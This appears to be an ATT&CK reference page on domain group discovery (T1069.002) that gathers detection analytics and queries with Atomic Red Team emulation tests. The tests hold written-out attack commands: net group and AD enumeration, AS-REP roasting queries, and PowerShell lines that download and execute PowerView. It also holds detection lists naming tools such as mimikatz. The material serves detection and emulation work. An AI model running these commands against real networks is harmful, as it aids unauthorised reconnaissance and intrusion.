Has utilized the net group command to query domain groups within the victim environment.1
Domain Groups T1069.002
- Tactic
- Discovery
- Platforms
- Linux, macOS, Windows
- Version
- 1.2
- Created
- 21 February 2020
- Last modified
- 12 May 2026
- Contributors
- Harshal Tupsamudre, Qualys; Miriam Wiesner, @miriamxyra, Microsoft Security
Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.
Domain Groups MITRE reference T1069.002
13 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Has enumerated domain groups on targeted hosts.1
Has executed net group "domain admins" /dom for discovery on compromised machines.1
Has run net group in compromised environments to discover domain groups.1
Has enumerated Active Directory security groups including through the use of ADExplorer, ADRecon.ps1, and Get-ADUser.12
Has used the AD Explorer tool to enumerate groups on a victim's network.1
All 13 groups for this technique · 6 newest in this preview
2 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
During C0015, the threat actors use the command net group "domain admins" /dom to enumerate domain groups.1
During the SolarWinds Compromise, APT29 used AdFind to enumerate domain groups.1
All 2 campaigns for this technique
23 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Can run PowerShell cmdlets to discover domain groups.1
Can identify domain groups through cmd.exe /c net group "Domain Admins" /domain.12
Can determine if a targeted system is part of an Active Directory domain by expanding the %USERDNSDOMAIN% environment variable.1
Can use net.exe group "domain admins" /domain to identify Domain Administrators.1
Can determine if a user on a compromised host has domain admin privileges.1
All 23 software entries for this technique · 6 newest in this preview
Offense vs defense T1069.002
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Domain Groups detection strategy DET0360
MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Behavioral Detection of Domain Group Discovery
AN1025 · Windows
Detection of domain group enumeration through command-line utilities such as 'net group /domain' or PowerShell cmdlets, followed by suspicious access to API calls or LSASS memory.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | WinEventLog:Security | EventCode=4688 |
| Command ExecutionDC0064 | WinEventLog:PowerShell | EventCode=4103, 4104, 4105, 4106 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TimeWindow | Adjustable window to track chained discovery activity (e.g., 5-10 minutes). |
| UserContext | Tune to focus on non-admin users or service accounts performing enumeration. |
| ProcessLineageDepth | How far back the parent-child process chain is correlated. |
AN1026 · Linux
Behavioral detection of domain group enumeration via ldapsearch or custom scripts leveraging LDAP over the network.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | auditd:SYSCALL | execve |
| Command ExecutionDC0064 | linux:syslog | sshd logs |
| Network Traffic ContentDC0085 | NSM:Flow | ldap.log |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| LDAPQueryDepth | Tunable based on number of LDAP queries before flagging suspicious behavior. |
| CommandPattern | Pattern matching against common ldapsearch or shell enumeration flags. |
AN1027 · macOS
Enumeration of domain groups using dscacheutil or dscl commands, often following initial login or domain trust queries.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | macos:unifiedlog | process events |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| CommandSignatureThreshold | Defines how strictly command patterns must match known enumeration syntax. |
| TimeWindow | Adjustable window to correlate chained behavior such as group enumeration followed by user targeting. |
Certain commands are frequently used by malicious actors and infrequently used by normal users. By looking for execution of these commands in short periods of time, we can not only see when a malicious user was on the system but also get an idea of what they were doing.
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-PLA | Process Lineage Analysis |
Data model references
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| process | create | hostname |
| process | create | ppid |
| process | create | exe |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
processes = search Process:Create reg_processes = filter processes where (exe == "arp.exe" or exe == "at.exe" or exe == "attrib.exe" or exe == "cscript.exe" or exe == "dsquery.exe" or exe == "hostname.exe" or exe == "ipconfig.exe" or exe == "mimikatz.exe" or exe == "nbstat.exe" or exe == "net.exe" or exe == "netsh.exe" or exe == "nslookup.exe" or exe == "ping.exe" or exe == "quser.exe" or exe == "qwinsta.exe" or exe == "reg.exe" or exe == "runas.exe" or exe == "sc.exe" or exe == "schtasks.exe" or exe == "ssh.exe" or exe == "systeminfo.exe" or exe == "taskkill.exe" or exe == "telnet.exe" or exe == "tracert.exe" or exe == "wscript.exe" or exe == "xcopy.exe") reg_grouped = group reg by hostname, ppid where(max time between two events is 30 minutes) output reg_grouped
Sigma version of the above pseudocode, with some modifications.
DNIF version of the above pseudocode.
_fetch * from event where $LogName=WINDOWS-SYSMON AND $EventID=1 AND $App=regex(arp\.exe|at\.exe|attrib\.exe|cscript\.exe|dsquery\.exe|hostname\.exe|ipconfig\.exe|mimikatz.exe|nbstat\.exe|net\.exe|netsh\.exe|nslookup\.exe|ping\.exe|quser\.exe|qwinsta\.exe|reg\.exe|runas\.exe|sc\.exe|schtasks\.exe|ssh\.exe|systeminfo\.exe|taskkill\.exe|telnet\.exe|tracert\.exe|wscript\.exe|xcopy\.exe)i group count_unique $App limit 100 >>_agg count >>_checkif int_compare Count > 1 include
LogPoint version of the above pseudocode.
norm_id=WindowsSysmon event_id=1 image IN ["*\arp.exe", "*\at.exe", "*\attrib.exe", "*\cscript.exe", "*\dsquery.exe", "*\hostname.exe", "*\ipconfig.exe", "*\mimikatz.exe", "*\nbstat.exe", "*\net.exe", "*\netsh.exe", "*\nslookup.exe", "*\ping.exe", "*\quser.exe", "*\qwinsta.exe", "*\reg.exe", "*\runas.exe", "*\sc.exe", "*\schtasks.exe", "*\ssh.exe", "*\systeminfo.exe", "*\taskkill.exe", "*\telnet.exe", "*\tracert.exe", "*\wscript.exe", "*\xcopy.exe"] | chart count() as cnt by host | search cnt > 1
Unit tests
CAR’s own validation procedures for this analytic.
Within a command window, execute several of the commands in quick succession.
["ipconfig /all","hostname","systeminfo","reg.exe Query HKLM\\Software\\Microsoft"]
When entering on a host for the first time, an adversary may try to discover information about the host. There are several built-in Windows commands that can be used to learn about the software configurations, active users, administrators, and networking configuration. These commands should be monitored to identify when an adversary is learning information about the system and environment. The information returned may impact choices an adversary can make when establishing persistence, escalating privileges, or moving laterally.
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-PSA | Process Spawn Analysis |
Data model references
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| process | create | command_line |
| process | create | exe |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
To be effective in deciphering malicious and benign activity, the full command line is essential. Similarly, having information about the parent process can help with making decisions and tuning to an environment.
process = search Process:Create info_command = filter process where ( exe == "hostname.exe" or exe == "ipconfig.exe" or exe == "net.exe" or exe == "quser.exe" or exe == "qwinsta.exe" or exe == "sc" and (command_line match " query" or command_line match " qc")) or exe == "systeminfo.exe" or exe == "tasklist.exe" or exe == "whoami.exe" ) output info_command
Splunk version of the above pseudocode search.
index=__your_sysmon_index__ EventCode=1 (Image="C:\\Windows\\*\\hostname.exe" OR Image="C:\\Windows\\*\\ipconfig.exe" OR Image="C:\\Windows\\*\\net.exe" OR Image="C:\\Windows\\*\\quser.exe" OR Image="C:\\Windows\\*\\qwinsta.exe" OR (Image="C:\\Windows\\*\\sc.exe" AND (CommandLine="* query *" OR CommandLine="* qc *")) OR Image="C:\\Windows\\*\\systeminfo.exe" OR Image="C:\\Windows\\*\\tasklist.exe" OR Image="C:\\Windows\\*\\whoami.exe")|stats values(Image) as "Images" values(CommandLine) as "Command Lines" by ComputerName
EQL version of the above pseudocode search.
process where subtype.create and (process_name == "hostname.exe" or process_name == "ipconfig.exe" or process_name == "net.exe" or process_name == "quser.exe" process_name == "qwinsta.exe" or process_name == "systeminfo.exe" or process_name == "tasklist.exe" or process_name == "whoami.exe" or (process_name == "sc.exe" and (command_line == "* query *" or command_line == "* qc *")))
LogPoint version of the above pseudocode.
norm_id=WindowsSysmon event_id=1 (image in ["*\hostname.exe", "*\ipconfig.exe", "*\net.exe", "*\quser.exe", "*\qwinsta.exe", "*\systeminfo.exe", "*\tasklist.exe", "*\whoami.exe"] OR (image="*\sc.exe" command IN ["* query *", "* qc *"))
Cyber actors frequently enumerate local or domain permissions groups. The net utility is usually used for this purpose. This analytic looks for any instances of net.exe, which is not normally used for benign purposes, although system administrator actions may trigger false positives.
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-PSA | Process Spawn Analysis |
Data model references
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| process | create | exe |
| process | create | command_line |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
This is a pseudocode representation of the below splunk search.
processes = search Process:Create net_processes = filter processes where ( exe = "net.exe" AND ( command_line="*net* user*" OR command_line="*net* group*" OR command_line="*net* localgroup*" OR command_line="*get-localgroup*" OR command_line="*get-ADPrincipalGroupMembership*" ) output net_processes
Look for instances of net.exe
(index=__your_sysmon_index__ EventCode=1) Image="C:\\Windows\\System32\\net.exe" AND (CommandLine="* user*" OR CommandLine="* group*" OR CommandLine="* localgroup*" OR CommandLine="*get-localgroup*" OR CommandLine="*get-ADPrincipalGroupMembership*")
Look for instances of net.exe
norm_id=WindowsSysmon event_id=1 image="C:\Windows\System32\net.exe" (command="* user*" OR command="* group*" OR command="* localgroup*" OR command="*get-localgroup*" OR command="*get-ADPrincipalGroupMembership*")
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Basic Permission Groups Discovery Windows (Domain) | windows | cmd | — | — | — | ||||||||||||||||||||||
Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed. Attack command net localgroup net group /domain net group "enterprise admins" /domain net group "domain admins" /domain GUIDf99b74c4-7d0d-41ec-b36a-afecb4314866 | ||||||||||||||||||||||||||||
| 02 | Permission Groups Discovery PowerShell (Domain) | windows | PowerShell | — | — | — | ||||||||||||||||||||||
Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed. Input arguments
Attack command get-ADPrincipalGroupMembership #{user} | select name
GUID456ed95d-8f5e-4693-92a8-22395f22bc56 | ||||||||||||||||||||||||||||
| 03 | Elevated group enumeration using net group (Domain) | windows | cmd | — | — | — | ||||||||||||||||||||||
Runs "net group" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed. Attack command net groups "Account Operators" /domain net groups "Exchange Organization Management" /domain net group "BUILTIN\Backup Operators" /domain net group "Domain Admins" /domain GUID2b3ae7c9-70bf-4613-9470-6b66d3597202 | ||||||||||||||||||||||||||||
| 04 | Find machines where user has local admin access (PowerView) | windows | PowerShell | — | — | — | ||||||||||||||||||||||
Find machines where user has local admin access (PowerView). Upon execution, progress and info about each host in the domain being scanned will be displayed. Attack command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-LocalAdminAccess -Verbose GUID2c07a856-dff7-45c2-a12c-09d76f7b28d3 | ||||||||||||||||||||||||||||
| 05 | Find local admins on all machines in domain (PowerView) | windows | PowerShell | — | — | — | ||||||||||||||||||||||
Enumerates members of the local Administrators groups across all machines in the domain. Upon execution, information about each machine will be displayed. Attack command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin -Verbose GUIDe85e83fe-2ba6-4bd8-ac8a-1c433821d048 | ||||||||||||||||||||||||||||
| 06 | Find Local Admins via Group Policy (PowerView) | windows | PowerShell | — | — | — | ||||||||||||||||||||||
takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed. Input arguments
Attack command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose
GUIDc5d0fb0e-8a18-4936-94bf-76513336e05d | ||||||||||||||||||||||||||||
| 07 | Enumerate Users Not Requiring Pre Auth (ASRepRoast) | windows | PowerShell | — | 2 | — | ||||||||||||||||||||||
When successful, accounts that do not require kerberos pre-auth will be returned Attack command get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE}
Prerequisite Computer must be domain joined. Check if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
Satisfy Write-Host Joining this computer to a domain must be done manually. Prerequisite Requires the Active Directory module for powershell to be installed. Check if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}
Satisfy Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" GUID4a675e7f-6c28-448c-a1a4-c4bd0d1b1b4b | ||||||||||||||||||||||||||||
| 08 | Adfind - Query Active Directory Groups | windows | cmd | — | 1 | — | ||||||||||||||||||||||
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html Input arguments
Attack command "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=group) #{optional_args}
Prerequisite AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe) Check if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1}
Satisfy [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" GUID34114805-987f-4788-8ebf-5f090c6709e4 | ||||||||||||||||||||||||||||
| 09 | Enumerate Active Directory Groups with Get-AdGroup | windows | PowerShell | — | — | — | ||||||||||||||||||||||
The following Atomic test will utilize Get-AdGroup to enumerate groups within Active Directory. Upon successful execution a listing of groups will output with their paths in AD. Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps Attack command Get-AdGroup -Filter * GUIDb9d3039b-61f4-4bd7-8453-1305bf79b41a | ||||||||||||||||||||||||||||
| 10 | Enumerate Active Directory Groups with ADSISearcher | windows | PowerShell | — | — | — | ||||||||||||||||||||||
The following Atomic test will utilize ADSISearcher to enumerate groups within Active Directory. Upon successful execution a listing of groups will output with their paths in AD. Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/ Attack command ([adsisearcher]"objectcategory=group").FindAll(); ([adsisearcher]"objectcategory=group").FindOne() GUIDbdb04a8a-5a57-4300-8ee8-3596dcbec589 | ||||||||||||||||||||||||||||
| 11 | Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting) | windows | PowerShell | — | 2 | — | ||||||||||||||||||||||
When successful, accounts that do not require kerberos pre-auth will be returned. Reference: https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html Attack command Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name Prerequisite Computer must be domain joined. Check if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
Satisfy Write-Host Joining this computer to a domain must be done manually. Prerequisite Requires the Active Directory module for powershell to be installed. Check if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}
Satisfy Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" GUID7cb0e264-b3bb-4794-9f95-67d27ef6196f | ||||||||||||||||||||||||||||
| 12 | Get-DomainGroupMember with PowerView | windows | PowerShell | — | — | — | ||||||||||||||||||||||
Utilizing PowerView, run Get-DomainGroupMember to identify domain users. Upon execution, progress and info about groups within the domain being scanned will be displayed. Attack command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroupMember "Domain Admins" GUIDd2c2a3b5-fad5-43c4-9628-7c1398c87595 | ||||||||||||||||||||||||||||
| 13 | Get-DomainGroup with PowerView | windows | PowerShell | — | — | — | ||||||||||||||||||||||
Utilizing PowerView, run Get-DomainGroup to identify the domain groups. Upon execution, Groups within the domain will be listed. Attack command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroup -verbose GUID17c87d67-29dd-4c46-924e-3e447abc67bd | ||||||||||||||||||||||||||||
| 14 | Active Directory Enumeration with LDIFDE | windows | cmd | Required | 1 | Yes | ||||||||||||||||||||||
Output information from Active Directory to a specified file. Ldifde) is a CLI tool for creating, modifying and deleting directory objects. The test is derived from the CISA Report on Voly Typhoon. Reference: https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF Input arguments
Attack command ldifde.exe -f #{output_path}\#{output_file} -p subtree
Cleanup command del #{output_path}\#{output_file}
Prerequisite PowerShell ActiveDirectory Module must be installed Check Try {
Import-Module ActiveDirectory -ErrorAction Stop | Out-Null
exit 0
}
Catch {
exit 1
}
Satisfy if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {
Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online
} else {
Install-WindowsFeature RSAT-AD-PowerShell
}
GUID4c4a8b2f-2915-40e7-a978-a193d7a40958 | ||||||||||||||||||||||||||||
| 15 | Active Directory Domain Search Using LDAP - Linux (Ubuntu)/macOS | linux | sh | — | 1 | — | ||||||||||||||||||||||
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory Input arguments
Attack command ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" "(objectClass=group)" -s sub -a always -z 1000 dn
Prerequisite Packages sssd-ad sssd-tools realmd adcli installed and realm available, ldapsearch Check which ldapsearch Satisfy echo missing ldapsearch command; exit 1 GUIDac315737-531a-4637-ad12-d847ef33f2f9 | ||||||||||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition